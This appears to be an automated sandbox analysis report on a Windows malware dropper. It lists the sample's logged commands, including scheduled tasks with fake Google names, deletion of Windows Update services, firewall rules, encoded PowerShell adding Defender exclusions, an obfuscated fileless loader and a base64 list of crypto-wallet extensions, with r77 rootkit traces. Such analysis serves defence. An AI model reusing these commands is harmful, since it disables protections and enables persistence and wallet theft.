Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a9a3a9-f91b-48e0-a57c-b80e63016d7e}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0040E0A0 RegCreateKeyA,RegSetValueA,GetUserNameA,RegCloseKey,RegOpenKeyExA,AdjustTokenPrivileges,LookupPrivilegeValueA,OpenProcessToken,RegQueryValueExA,RegDeleteKeyA,

0_2_0040E0A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Google\brave.exe

File created: C:\Users\user\AppData\Local\Temp\E552.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: 0.3.setup.exe.1eb0000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 0.3.setup.exe.1eb0000.0.unpack, Arguments.cs	Base64 encoded string: 'HkEVES1XPBQ8UwwTLEE4BhAidxQ3ORwVKzAvURUiGhQOKT4TFUAnCRY2exQ/OT4cLUAkBi1Xdhg3NRsCAicoUTkCck4='

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2832:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4568:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3584:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2000:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4880:120:WilError_01
Source: C:\Users\user\AppData\Local\Google\brave.exe	Mutant created: \Sessions\1\BaseNamedObjects\KeBeAaAa__shmem3_winpthreads_tdm_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4480:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5384:120:WilError_01
Source: C:\Windows\GoogleUpdate.exe	Mutant created: \Sessions\1\BaseNamedObjects\GoogleUpdate{825b2ad2-5778-421f-86b5-fbf0592aa463}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5992:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000021.00000000.410594308.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 0000002B.00000000.422732889.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000040.00000000.489329248.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000047.00000000.533241341.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 0000004A.00000000.554149853.0000000000A51000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe.9.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000004.00000002.598361262.0000000001670000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 0000000A.00000002.599267044.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 0000000A.00000002.597429879.00000000010F0000.00000040.00000400.00020000.00000000.sdmp, chrome.exe, 00000020.00000002.595584460.0000000000BB0000.00000040.00000400.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629970290.00000000010F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: dllhost.exe, 00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp, updater.exe, 0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 00000003.00000002.477708666.000001455E3C2000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000003D.00000002.473083326.00007FF66AE1D000.00000002.00000001.01000000.00000000.sdmp, dialer.exe, 0000003D.00000000.467469225.00007FF66AE1D000.00000002.00000001.01000000.00000000.sdmp, E552.tmp.3.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\InstallService64.pdb source: dllhost.exe, 00000049.00000000.554954701.0000000140000000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, dllhost.exe, 00000049.00000000.553093619.0000000140000000.00000040.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 43.2.GoogleUpdate.exe.a50000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 43.2.GoogleUpdate.exe.a50000.0.unpack .text:ER;.data:W;.idata:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Obfuscated command line found

Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00406B49 push ecx; ret	0_2_00406B5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_00A4896F push es; retf	2_2_00A48977
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09492240 push ecx; ret	2_2_09492492
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09492440 push ecx; ret	2_2_09492492
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094CD9D0 push cs; ret	2_2_094CDA04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_094CD9F0 push cs; ret	2_2_094CDA04
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69FAC25C8 push rsi; retf FA26h	3_2_00007FF69FAC25D2

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00408ECC LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_00408ECC

Source: brave.exe.2.dr	Static PE information: section name: .xdata
Source: updater.exe.3.dr	Static PE information: section name: .xdata
Source: E552.tmp.3.dr	Static PE information: section name: _RDATA

Source: E552.tmp.3.dr	Static PE information: real checksum: 0x0 should be: 0x5841e
Source: updater.exe.3.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ef
Source: brave.exe.2.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ee
Source: ofg.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1938e

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Executable created and started: C:\Windows\GoogleUpdate.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\chrome.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\ofg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Users\user\AppData\Local\Temp\E552.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\brave.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\chrome.exe	File created: C:\Windows\GoogleUpdate.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST

Source: C:\Windows\System32\dialer.exe

File created: C:\Windows\Tasks\dialersvc32.job

Source: C:\Windows\System32\cmd.exe

